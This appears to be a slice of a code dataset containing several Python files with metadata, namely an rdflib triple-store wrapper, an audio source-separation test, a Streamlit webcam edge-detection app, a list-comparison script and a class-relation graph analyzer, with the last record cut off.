"usage_type": "call"}, {"api_name": "json.loads", "line_number": 53, "usage_type": "call"}, {"api_name": "click.option", "line_number": 24, "usage_type": "call"}, {"api_name": "click.option", "line_number": 32, "usage_type": "call"}, {"api_name": "click.option", "line_number": 40, "usage_type": "call"}, {"api_name": "json.load", "line_number": 89, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 91, "usage_type": "call"}, {"api_name": "redis.lpush", "line_number": 92, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 92, "usage_type": "call"}, {"api_name": "click.option", "line_number": 58, "usage_type": "call"}, {"api_name": "click.option", "line_number": 63, "usage_type": "call"}, {"api_name": "click.option", "line_number": 71, "usage_type": "call"}, {"api_name": "click.option", "line_number": 79, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 105, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 129, "usage_type": "call"}, {"api_name": "redis.flushdb", "line_number": 130, "usage_type": "call"}, {"api_name": "click.option", "line_number": 111, "usage_type": "call"}, {"api_name": "click.option", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "39641426305", "text": "from functools import lru_cache\n\nfrom rdflib import URIRef, Literal, BNode, Graph\nfrom rdflib.store import Store as RdflibStore\nfrom rdflib.term import Identifier\nfrom six import iteritems\n\nfrom . import _PyQStore, _PyQStoreNode\n\nclass ClassProperty(object):\n    def __init__(self, fn):\n        self.fn = fn\n\n    def __get__(self, owner_self, owner_cls):\n        return self.fn(owner_cls)\n\n    def __set__(self, *args, **kwargs):\n        raise NotImplementedError(\"Cannot set the value on this class property.\")\n\n\nclass QStoreMemory(RdflibStore):\n    \"\"\"Rdflib-compliant wrapper around PyQStore\"\"\"\n\n    # context_aware = True\n    # formula_aware = False\n    # graph_aware = True\n\n    @ClassProperty\n    def context_aware(cls):\n        return _PyQStore.context_aware()\n\n\n    def __init__(self, configuration=None, identifier=None):\n        super(QStoreMemory, self).__init__()\n        # prefix/namespace map (and reverse) are still implemented as python dicts.\n        # because qstore does not have any facility to do this itself.\n        self.__prefix = dict()\n        self.__namespace = dict()\n        self._qstore = _PyQStore(True, True)\n\n    def bind(self, prefix, namespace):\n        self.__prefix[namespace] = prefix\n        self.__namespace[prefix] = namespace\n\n    def namespace(self, prefix):\n        return self.__namespace.get(prefix, None)\n\n    def prefix(self, namespace):\n        return self.__prefix.get(namespace, None)\n\n    def namespaces(self):\n        for prefix, namespace in iteritems(self.__namespace):\n            yield prefix, namespace\n\n    def add(self, triple, context, quoted=False):\n        assert not quoted, \"QStore does not yet work on quoted graphs.\"\n        qstore_triple_nodes = tuple( _PyQStoreNode(t, QStoreMemory._get_native_type_flag(type(t))) for t in triple )\n        if context is not None:\n            context = _PyQStoreNode(context, QStoreMemory._get_native_type_flag(type(context)))\n        self._qstore.add(qstore_triple_nodes, context, quoted)\n\n        #if context is not None:\n        #    self.__all_contexts.add(context)\n\n        #enctriple = self.__encodeTriple(triple)\n        #sid, pid, oid = enctriple\n\n        #self.__addTripleContext(enctriple, context, quoted)\n\n\n\n    def remove(self, triplepat, context=None):\n        req_cid = self.__obj2id(context)\n        for triple, contexts in self.triples(triplepat, context):\n            enctriple = self.__encodeTriple(triple)\n            for cid in self.__getTripleContexts(enctriple):\n                if context is not None and req_cid != cid:\n                    continue\n                self.__removeTripleContext(enctriple, cid)\n            ctxs = self.__getTripleContexts(enctriple, skipQuoted=True)\n            if None in ctxs and (context is None or len(ctxs) == 1):\n                self.__removeTripleContext(enctriple, None)\n            if len(self.__getTripleContexts(enctriple)) == 0:\n                # triple has been removed from all contexts\n                sid, pid, oid = enctriple\n                self.__subjectIndex[sid].remove(enctriple)\n                self.__predicateIndex[pid].remove(enctriple)\n                self.__objectIndex[oid].remove(enctriple)\n\n                del self.__tripleContexts[enctriple]\n\n        if not req_cid is None and \\\n                req_cid in self.__contextTriples and \\\n                len(self.__contextTriples[req_cid]) == 0:\n            # all triples are removed out of this context\n            # and it's not the default context so delete it\n            del self.__contextTriples[req_cid]\n\n        if triplepat == (None, None, None) and \\\n                context in self.__all_contexts and \\\n                not self.graph_aware:\n            # remove the whole context\n            self.__all_contexts.remove(context)\n\n    @staticmethod\n    def _qstore_node_to_rdflib_node(pyqstore_node):\n        type_flag = pyqstore_node.inner_type_flag\n        if type_flag == _PyQStoreNode._URIRefTypeFlag():\n            s = pyqstore_node.unpack_as_uriref()\n            return URIRef(s)\n        elif type_flag == _PyQStoreNode._LiteralTypeFlag():\n            l = pyqstore_node.unpack_as_literal()\n            s, d, l = l\n            return Literal(s, lang=l, datatype=d)\n        elif type_flag == _PyQStoreNode._BlankTypeFlag():\n            b = pyqstore_node.unpack_as_bnode()\n            return BNode(b)\n\n    def triples(self, triplein, context=None):\n        if context is not None:\n            if context == self:  # hmm...does this really ever happen?\n                context = None\n\n        qstore_triplein_nodes = tuple( _PyQStoreNode(t, QStoreMemory._get_native_type_flag(type(t))) if t is not None else None for t in triplein)\n        if context is not None:\n            context_node = _PyQStoreNode(context, QStoreMemory._get_native_type_flag(type(context)))\n        else:\n            context_node = None\n\n        triples = self._qstore.triples(qstore_triplein_nodes, context_node)\n\n        return { tuple((tuple(QStoreMemory._qstore_node_to_rdflib_node(t) for t in t1),QStoreMemory._qstore_node_to_rdflib_node(ctx) if ctx is not None else None)) for t1,ctx in triples }\n\n        #cid = self.__obj2id(context)\n        #enctriple = self.__encodeTriple(triplein)\n        #sid, pid, oid = enctriple\n\n        # all triples case (no triple parts given as pattern)\n        if sid is None and pid is None and oid is None:\n            return self.__all_triples(cid)\n\n        # optimize \"triple in graph\" case (all parts given)\n        if sid is not None and pid is not None and oid is not None:\n            if sid in self.__subjectIndex and \\\n                    enctriple in self.__subjectIndex[sid] and \\\n                    self.__tripleHasContext(enctriple, cid):\n                return ((triplein, self.__contexts(enctriple)) for i in [0])\n            else:\n                return self.__emptygen()\n\n        # remaining cases: one or two out of three given\n        sets = []\n        if sid is not None:\n            if sid in self.__subjectIndex:\n                sets.append(self.__subjectIndex[sid])\n            else:\n                return self.__emptygen()\n        if pid is not None:\n            if pid in self.__predicateIndex:\n                sets.append(self.__predicateIndex[pid])\n            else:\n                return self.__emptygen()\n        if oid is not None:\n            if oid in self.__objectIndex:\n                sets.append(self.__objectIndex[oid])\n            else:\n                return self.__emptygen()\n\n        # to get the result, do an intersection of the sets (if necessary)\n        if len(sets) > 1:\n            enctriples = sets[0].intersection(*sets[1:])\n        else:\n            enctriples = sets[0].copy()\n\n        return ((self.__decodeTriple(enctriple), self.__contexts(enctriple))\n                for enctriple in enctriples\n                if self.__tripleHasContext(enctriple, cid))\n\n    def contexts(self, triple=None):\n        if triple is None or triple is (None,None,None):\n            return (context for context in self.__all_contexts)\n\n        enctriple = self.__encodeTriple(triple)\n        sid, pid, oid = enctriple\n        if sid in self.__subjectIndex and enctriple in self.__subjectIndex[sid]:\n            return self.__contexts(enctriple)\n        else:\n            return self.__emptygen()\n\n    def __len__(self, context=None):\n        cid = self.__obj2id(context)\n        if cid not in self.__contextTriples:\n            return 0\n        return len(self.__contextTriples[cid])\n\n    def add_graph(self, graph):\n        if not self.graph_aware:\n            Store.add_graph(self, graph)\n        else:\n            self.__all_contexts.add(graph)\n\n    def remove_graph(self, graph):\n        if not self.graph_aware:\n            Store.remove_graph(self, graph)\n        else:\n            self.remove((None,None,None), graph)\n            try:\n                self.__all_contexts.remove(graph)\n            except KeyError:\n                pass # we didn't know this graph, no problem\n\n\n\n    # internal utility methods below\n\n    @lru_cache()\n    def _get_native_type_flag(nodetype):\n        if issubclass(nodetype, URIRef):\n            return _PyQStoreNode._URIRefTypeFlag()\n        elif issubclass(nodetype, Literal):\n            return _PyQStoreNode._LiteralTypeFlag()\n        elif issubclass(nodetype, BNode):\n            return _PyQStoreNode._BlankTypeFlag()\n        elif issubclass(nodetype, Graph):\n            return _PyQStoreNode._GraphTypeFlag()\n        elif issubclass(nodetype, Identifier):\n            raise _PyQStoreNode._IdentifierTypeFlag()\n        else:\n            raise NotImplementedError(\"Unknown type '{}' is not implemented.\".format(repr(nodetype)))\n    staticmethod(_get_native_type_flag)\n\n\n    def __addTripleContext(self, enctriple, context, quoted):\n        \"\"\"add the given context to the set of contexts for the triple\"\"\"\n        cid = self.__obj2id(context)\n\n        sid, pid, oid = enctriple\n        if sid in self.__subjectIndex and enctriple in self.__subjectIndex[sid]:\n            # we know the triple exists somewhere in the store\n            if enctriple not in self.__tripleContexts:\n                # triple exists with default ctx info\n                # start with a copy of the default ctx info\n                self.__tripleContexts[\n                    enctriple] = self.__defaultContexts.copy()\n\n            self.__tripleContexts[enctriple][cid] = quoted\n            if not quoted:\n                self.__tripleContexts[enctriple][None] = quoted\n        else:\n            # the triple didn't exist before in the store\n            if quoted:  # this context only\n                self.__tripleContexts[enctriple] = {cid: quoted}\n            else:  # default context as well\n                self.__tripleContexts[enctriple] = {cid: quoted, None: quoted}\n\n        # if the triple is not quoted add it to the default context\n        if not quoted:\n            self.__contextTriples[None].add(enctriple)\n\n        # always add the triple to given context, making sure it's initialized\n        if cid not in self.__contextTriples:\n            self.__contextTriples[cid] = set()\n        self.__contextTriples[cid].add(enctriple)\n\n        # if this is the first ever triple in the store, set default ctx info\n        if self.__defaultContexts is None:\n            self.__defaultContexts = self.__tripleContexts[enctriple]\n\n        # if the context info is the same as default, no need to store it\n        if self.__tripleContexts[enctriple] == self.__defaultContexts:\n            del self.__tripleContexts[enctriple]\n\n    def __getTripleContexts(self, enctriple, skipQuoted=False):\n        \"\"\"return a list of (encoded) contexts for the triple, skipping\n           quoted contexts if skipQuoted==True\"\"\"\n\n        ctxs = self.__tripleContexts.get(enctriple, self.__defaultContexts)\n\n        if not skipQuoted:\n            return ctxs.keys()\n\n        return [cid for cid, quoted in ctxs.items() if not quoted]\n\n    def __tripleHasContext(self, enctriple, cid):\n        \"\"\"return True iff the triple exists in the given context\"\"\"\n        ctxs = self.__tripleContexts.get(enctriple, self.__defaultContexts)\n        return (cid in ctxs)\n\n    def __removeTripleContext(self, enctriple, cid):\n        \"\"\"remove the context from the triple\"\"\"\n        ctxs = self.__tripleContexts.get(\n            enctriple, self.__defaultContexts).copy()\n        del ctxs[cid]\n        if ctxs == self.__defaultContexts:\n            del self.__tripleContexts[enctriple]\n        else:\n            self.__tripleContexts[enctriple] = ctxs\n        self.__contextTriples[cid].remove(enctriple)\n\n    def __obj2id(self, obj):\n        \"\"\"encode object, storing it in the encoding map if necessary,\n           and return the integer key\"\"\"\n        if obj not in self.__obj2int:\n            id = randid()\n            while id in self.__int2obj:\n                id = randid()\n            self.__obj2int[obj] = id\n            self.__int2obj[id] = obj\n            return id\n        return self.__obj2int[obj]\n\n    def __encodeTriple(self, triple):\n        \"\"\"encode a whole triple, returning the encoded triple\"\"\"\n        return tuple(map(self.__obj2id, triple))\n\n    def __decodeTriple(self, enctriple):\n        \"\"\"decode a whole encoded triple, returning the original\n        triple\"\"\"\n        return tuple(map(self.__int2obj.get, enctriple))\n\n    def __all_triples(self, cid):\n        \"\"\"return a generator which yields all the triples (unencoded)\n           of the given context\"\"\"\n        if cid not in self.__contextTriples:\n            return\n        for enctriple in self.__contextTriples[cid].copy():\n            yield self.__decodeTriple(enctriple), self.__contexts(enctriple)\n\n    def __contexts(self, enctriple):\n        \"\"\"return a generator for all the non-quoted contexts\n           (unencoded) the encoded triple appears in\"\"\"\n        return (self.__int2obj.get(cid) for cid in self.__getTripleContexts(enctriple, skipQuoted=True) if cid is not None)\n\n    def __emptygen(self):\n        \"\"\"return an empty generator\"\"\"\n        if False:\n            yield", "repo_name": "Rust-Linked-Data/qstore", "sub_path": "pyqstore/pyqstore/memory.py", "file_name": "memory.py", "file_ext": "py", "file_size_in_byte": 13060, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rdflib.store.Store", "line_number": 21, "usage_type": "name"}, {"api_name": "six.iteritems", "line_number": 52, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 110, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 114, "usage_type": "call"}, {"api_name": "rdflib.BNode", "line_number": 117, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 218, "usage_type": "argument"}, {"api_name": "rdflib.Literal", "line_number": 220, "usage_type": "argument"}, {"api_name": "rdflib.BNode", "line_number": 222, "usage_type": "argument"}, {"api_name": "rdflib.Graph", "line_number": 224, "usage_type": "argument"}, {"api_name": "rdflib.term.Identifier", "line_number": 226, "usage_type": "argument"}, {"api_name": "functools.lru_cache", "line_number": 216, "usage_type": "call"}]}
{"seq_id": "22612077429", "text": "import unittest\n\nimport numpy as np\nfrom scipy.io import wavfile\n\nimport pyroomacoustics as pra\n\nnp.random.seed(0)\n\n# We use several sound samples for each source to have a long enough length\nwav_files = [\n    [\n        \"examples/input_samples/cmu_arctic_us_axb_a0004.wav\",\n        \"examples/input_samples/cmu_arctic_us_axb_a0005.wav\",\n        \"examples/input_samples/cmu_arctic_us_axb_a0006.wav\",\n    ],\n    [\n        \"examples/input_samples/cmu_arctic_us_aew_a0001.wav\",\n        \"examples/input_samples/cmu_arctic_us_aew_a0002.wav\",\n        \"examples/input_samples/cmu_arctic_us_aew_a0003.wav\",\n    ],\n]\n\n# List of frame lengths to test\nL = [256, 512, 1024, 2048, 4096]\n\n\n# Frequency Blind Source Separation\ndef freq_bss(algo=\"auxiva\", L=256, **kwargs):\n    # Room dimensions in meters\n    room_dim = [8, 9]\n\n    # create a room with sources and mics\n    room = pra.ShoeBox(room_dim, fs=16000, max_order=0, sigma2_awgn=1e-8)\n\n    # get signals\n    signals = [\n        np.concatenate([wavfile.read(f)[1].astype(np.float32) for f in source_files])\n        for source_files in wav_files\n    ]\n    delays = [1.0, 0.0]\n    if algo == \"overiva\":\n        locations = [[2.5, 3]]\n    else:\n        locations = [[2.5, 3], [2.5, 6]]\n\n    # add mic and good source to room\n    # Add silent signals to all sources\n    for sig, d, loc in zip(signals, delays, locations):\n        room.add_source(loc, signal=np.zeros_like(sig), delay=d)\n\n    # add microphone array\n    room.add_microphone_array(\n        pra.MicrophoneArray(np.c_[[6.5, 4.49], [6.5, 4.51]], fs=room.fs)\n    )\n\n    # compute RIRs\n    room.compute_rir()\n\n    # Record each source separately\n    separate_recordings = []\n    for source, signal in zip(room.sources, signals):\n        source.signal[:] = signal\n\n        room.simulate()\n        separate_recordings.append(room.mic_array.signals)\n\n        source.signal[:] = 0.0\n    separate_recordings = np.array(separate_recordings)\n\n    # Mix down the recorded signals\n    mics_signals = np.sum(separate_recordings, axis=0)\n\n    ## STFT analysis\n    # shape == (n_chan, n_frames, n_freq)\n    X = pra.transform.stft.analysis(\n        mics_signals.T, L, L, zp_front=L // 2, zp_back=L // 2\n    )\n\n    ## START BSS\n    if algo == \"auxiva\":\n        # Run AuxIVA\n        Y = pra.bss.auxiva(X, n_iter=30, proj_back=True, **kwargs)\n        max_mse = 5e-2\n    elif algo == \"ilrma\":\n        # Run ILRMA\n        Y = pra.bss.ilrma(X, n_iter=30, n_components=2, proj_back=True, **kwargs)\n        max_mse = 5e-2\n    elif algo == \"sparseauxiva\":\n        # Estimate set of active frequency bins\n        ratio = 0.35\n        average = np.abs(np.mean(np.mean(X, axis=2), axis=0))\n        k = np.int_(average.shape[0] * ratio)\n        S = np.sort(np.argpartition(average, -k)[-k:])\n        # Run SparseAuxIva\n        Y = pra.bss.sparseauxiva(X, S, n_iter=30, proj_back=True, **kwargs)\n        max_mse = 1.5e-1\n    elif algo == \"overiva\":\n        Y = pra.bss.auxiva(X, n_src=1, n_iter=30, proj_back=True, **kwargs)\n        max_mse = 0.5\n    elif algo == \"fastmnmf\":\n        Y = pra.bss.fastmnmf(X, n_iter=30, n_components=2, **kwargs)\n        max_mse = 1e-1\n    elif algo == \"fastmnmf2\":\n        Y = pra.bss.fastmnmf2(X, n_iter=30, n_components=2, **kwargs)\n        max_mse = 1e-1\n\n    ## STFT Synthesis\n    if algo == \"overiva\":\n        y = pra.transform.stft.synthesis(\n            Y[:, :, 0], L, L, zp_front=L // 2, zp_back=L // 2\n        ).T\n        y = y[None, :]\n    else:\n        y = pra.transform.stft.synthesis(Y, L, L, zp_front=L // 2, zp_back=L // 2).T\n\n    # Calculate MES\n    #############\n    ref = np.moveaxis(separate_recordings, 1, 2)\n    y_aligned = y[:, L // 2 : ref.shape[1] + L // 2]\n\n    mse = np.mean((ref[:, : y_aligned.shape[1], 0] - y_aligned) ** 2)\n    ref_var = np.var(np.concatenate(ref[:, : y_aligned.shape[1], 0]))\n\n    print(\n        \"%s with a %d frame length: Relative MSE (expected less than %.e)\"\n        % (algo, L, max_mse),\n        mse / ref_var,\n    )\n    assert (mse / ref_var) < max_mse\n\n    # Now test other parameter combinations, just run, no output check\n\n\nclass TestBSS(unittest.TestCase):\n    # Test auxiva with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_auxiva_laplace(self):\n        for block in L:\n            freq_bss(algo=\"auxiva\", L=block, model=\"laplace\")\n\n    # Test auxiva with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_auxiva_gauss(self):\n        for block in L:\n            freq_bss(algo=\"auxiva\", L=block, model=\"gauss\")\n\n    # Test ilrma with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_ilrma(self):\n        for block in L:\n            freq_bss(algo=\"ilrma\", L=block)\n\n    # Test sparse auxiva with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_sparse_auxiva_laplace(self):\n        for block in L:\n            freq_bss(algo=\"sparseauxiva\", L=block, model=\"laplace\")\n\n    # Test sparse auxiva with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_sparse_auxiva_gauss(self):\n        for block in L:\n            freq_bss(algo=\"sparseauxiva\", L=block, model=\"gauss\")\n\n    # Test overiva with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_overiva(self):\n        for block in L:\n            freq_bss(algo=\"overiva\", L=block)\n\n    # Test fastmnmf with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_fastmnmf(self):\n        for block in L:\n            freq_bss(algo=\"fastmnmf\", L=block)\n\n    # Test fastmnmf2 with frame lengths [256, 512, 1024, 2048, 4096]\n    def test_bss_fastmnmf2(self):\n        for block in L:\n            freq_bss(algo=\"fastmnmf2\", L=block)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "LCAV/pyroomacoustics", "sub_path": "pyroomacoustics/bss/tests/test_bss.py", "file_name": "test_bss.py", "file_ext": "py", "file_size_in_byte": 5647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1226, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.seed", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.ShoeBox", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.io.wavfile.read", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 50, "usage_type": "call"}, {"api_name": "pyroomacoustics.MicrophoneArray", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 72, "usage_type": "call"}, {"api_name": "pyroomacoustics.transform.stft.analysis", "line_number": 76, "usage_type": "call"}, {"api_name": "pyroomacoustics.transform", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.bss.auxiva", "line_number": 83, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss", "line_number": 83, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.bss.ilrma", "line_number": 87, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.int_", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.argpartition", "line_number": 94, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss.sparseauxiva", "line_number": 96, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.bss.auxiva", "line_number": 99, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.bss.fastmnmf", "line_number": 102, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.bss.fastmnmf2", "line_number": 105, "usage_type": "call"}, {"api_name": "pyroomacoustics.bss", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.transform.stft.synthesis", "line_number": 110, "usage_type": "call"}, {"api_name": "pyroomacoustics.transform", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pyroomacoustics.transform.stft.synthesis", "line_number": 115, "usage_type": "call"}, {"api_name": "pyroomacoustics.transform", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.moveaxis", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 123, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 135, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 178, "usage_type": "call"}]}
{"seq_id": "73347728869", "text": "import streamlit as st\r\nfrom streamlit_webrtc import webrtc_streamer , WebRtcMode\r\nimport av\r\nimport cv2\r\n\r\n\r\nst.title(\"My first Streamlit app\")\r\nst.write(\"Hello, world\")\r\n\r\nthreshold1 = st.slider(\"Threshold1\", min_value=0, max_value=1000, step=1, value=100)\r\nthreshold2 = st.slider(\"Threshold2\", min_value=0, max_value=1000, step=1, value=200)\r\n\r\n\r\n\r\ndef callback(frame):\r\n    img = frame.to_ndarray(format=\"bgr24\")\r\n\r\n    img = cv2.cvtColor(cv2.Canny(img, threshold1, threshold2), cv2.COLOR_GRAY2BGR)\r\n\r\n    return av.VideoFrame.from_ndarray(img, format=\"bgr24\")\r\n\r\n\r\nwebrtc_ctx = webrtc_streamer(\r\n    key=\"object-detection\",\r\n    mode=WebRtcMode.SENDRECV,\r\n    rtc_configuration={\"iceServers\":[{urls: [\"stun:stun.example.com\", \"stun:stun-1.example.com\"]}]},\r\n    video_frame_callback=callback,\r\n    media_stream_constraints={\"video\": True, \"audio\": False},\r\n    async_processing=True,\r\n)\r\n", "repo_name": "mnojksyp28/My-first-Streamlit-app", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "streamlit.title", "line_number": 7, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 8, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 10, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 18, "usage_type": "attribute"}, {"api_name": "av.VideoFrame.from_ndarray", "line_number": 20, "usage_type": "call"}, {"api_name": "av.VideoFrame", "line_number": 20, "usage_type": "attribute"}, {"api_name": "streamlit_webrtc.webrtc_streamer", "line_number": 23, "usage_type": "call"}, {"api_name": "streamlit_webrtc.WebRtcMode.SENDRECV", "line_number": 25, "usage_type": "attribute"}, {"api_name": "streamlit_webrtc.WebRtcMode", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "477818441", "text": "import json\nfrom pathlib import Path\n\nnot_show = []\nwith Path(\"智库website_all-website_list.txt\", mode=\"r\", encoding=\"utf-8\").open() as f:\n    for line in f:\n        not_show.append(line.strip())\n\noff_line = []\nwith Path(\"下线excel.txt\", mode=\"r\", encoding=\"utf-8\").open() as f:\n    for line in f:\n        off_line.append(line.strip())\n\n\nprint(len(set(not_show)), len(set(off_line)))\n\nprint(list(set(not_show) - set(off_line)))\n\nprint(len(set(not_show) & set(off_line)))\n\nprint(set(off_line) - set(not_show))", "repo_name": "fangtiansheng/test", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "27766986297", "text": "from inspect import *\nfrom pygraphviz import AGraph\nfrom collections import defaultdict\nfrom itertools import chain\n\nfrom relations import *\n\ndef is_container(var):\n    return isinstance(var, list) or isinstance(var, dict) or isinstance(var, set)\n\ndef itercontainer(c):\n    assert is_container(c)\n    if isinstance(c, list):\n        return ([e] for e in c)\n    elif isinstance(c, dict):\n        return c.items()\n    elif isinstance(c, set):\n        return ([e] for e in c)\n\nclass CodeAnalyzer(object):\n    def __init__(self, base_module):\n        self.base_module= base_module\n\n    def analyze(self, exceptions=None):\n        variables= currentframe().f_locals\n        module_vars= []\n        for varname, var in variables.items():\n            if self._belongs_to_module(var):\n                module_vars.append(var)\n\n        aggregation_relations= defaultdict(set)\n        for var in module_vars:\n            self._get_aggregation_relations(var, module_vars, aggregation_relations)\n\n        if exceptions is not None:\n            for klass in exceptions:\n                if klass in aggregation_relations: aggregation_relations.pop(klass)\n\n                for other_klass, related in aggregation_relations.items():\n                    aggregation_relations[other_klass]= set(r for r in related if not r.object2 == klass)\n        \n\n        all_classes= set(aggregation_relations.keys())\n        for related in aggregation_relations.values():\n            all_classes.update(i.object2 for i in related)\n\n        relations= aggregation_relations\n        inheritance_relations= self._build_inheritance_relations(all_classes)\n        for klass, related in inheritance_relations.items():\n            relations[klass].update(related)\n\n        return relations\n\n    def _build_inheritance_relations(self, all_classes):\n        inheritance_relations= defaultdict(list)\n \n        new_classes= set()\n        for n1 in all_classes:\n            for i, super_n1 in enumerate(n1.mro()[1:-1]):\n                if any(issubclass(super_n1, klass) for klass in n1.mro()[1:1+i]): \n                    continue\n                if super_n1 not in all_classes: \n                    new_classes.add(super_n1)\n                relation= InheritanceRelation(n1, super_n1)\n                inheritance_relations[n1].append(relation)\n\n        all_classes.update(new_classes) \n\n        for n1 in all_classes:\n            for n2 in all_classes:\n                if n1 == n2: continue\n                if issubclass(n1, n2):\n                    for relation in inheritance_relations[n1]:\n                        if issubclass(n2, relation.object2): break\n                    else:\n                        inheritance_relations[n1].append(InheritanceRelation(n1, n2))\n\n        return inheritance_relations\n\n    def _belongs_to_module(self, var):\n        var_module= getmodule(var.__class__)\n        return var_module.__name__.startswith(self.base_module.__name__)\n        \n    def _get_aggregation_relations(self, module_var, module_vars, aggregation_relations):\n        assert module_var in module_vars\n        aggregation_relations[module_var.__class__]\n\n        for attrname, attrvalue in getmembers(module_var):\n            if not self._is_member_interesting(attrname): continue\n            if self._belongs_to_module(attrvalue):\n                if attrvalue not in module_vars:\n                    module_vars.append(attrvalue)\n                    self._get_aggregation_relations(attrvalue, module_vars, aggregation_relations)\n\n                relation= AggregationRelation(module_var.__class__, attrvalue.__class__, attrname, is_multiple=False)\n                aggregation_relations[module_var.__class__].add(relation)\n\n            if is_container(attrvalue):\n                container_module_vars= self._container_relations(attrvalue, module_vars, aggregation_relations)\n                for container_module_var in container_module_vars:\n                    relation= AggregationRelation(module_var.__class__, container_module_var.__class__, attrname, is_multiple=True)\n                    aggregation_relations[module_var.__class__].add(relation)\n\n    def _container_relations(self, container, module_vars, aggregation_relations):\n        container_module_vars= []\n        for iterable in itercontainer(container):\n            for e in iterable:\n                if self._belongs_to_module(e):\n                    container_module_vars.append(e)\n                    if not e in module_vars: module_vars.append(e)\n                    self._get_aggregation_relations(e, module_vars, aggregation_relations)\n                elif is_container(e):\n                    container_module_vars.extend(self._container_relations(e, module_vars, aggregation_relations))\n        return container_module_vars                    \n\n    def draw_relations(self, relations, fname):\n        def get_node_name(n):\n            return n.__name__\n\n        g= AGraph(directed=True)\n        for n in relations:\n            n_name= get_node_name(n)\n            g.add_node(n_name)\n\n        for relation in chain(*relations.values()):\n            n1_name= get_node_name(relation.object1)\n            n2_name= get_node_name(relation.object2)\n            g.add_edge(n1_name, n2_name)\n\n            e= g.get_edge(n1_name, n2_name)\n            relation.set_edge_attributes(e)\n\n        for n in g.nodes():\n            n.attr['shape']= 'box'\n\n        g.draw(fname, prog='dot', args='-Grankdir=TB')\n        \n    def _is_member_interesting(self, attrname):\n        return not attrname in ['__setattr__',\n                                '__reduce_ex__',\n                                '__new__',\n                                '__reduce__',\n                                '__str__',\n                                '__getattribute__',\n                                '__class__',\n                                '__delattr__',\n                                '__repr__',\n                                '__hash__',\n                                '__doc__',\n                                '__init__',\n                                '__dict__',\n                                '__module__',\n                                '__weakref__']\n\n                                            \n    \n", "repo_name": "windhaunting/Data_integration_graph-database_query", "sub_path": "CreateGraph/GraphMatching/SpydeWks/Codes/lib/pycana/code_analyzer.py", "file_name": "code_analyzer.py", "file_ext": "py", "file_size_in_byte": 6225, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.defaultdict", "line_number": 31, 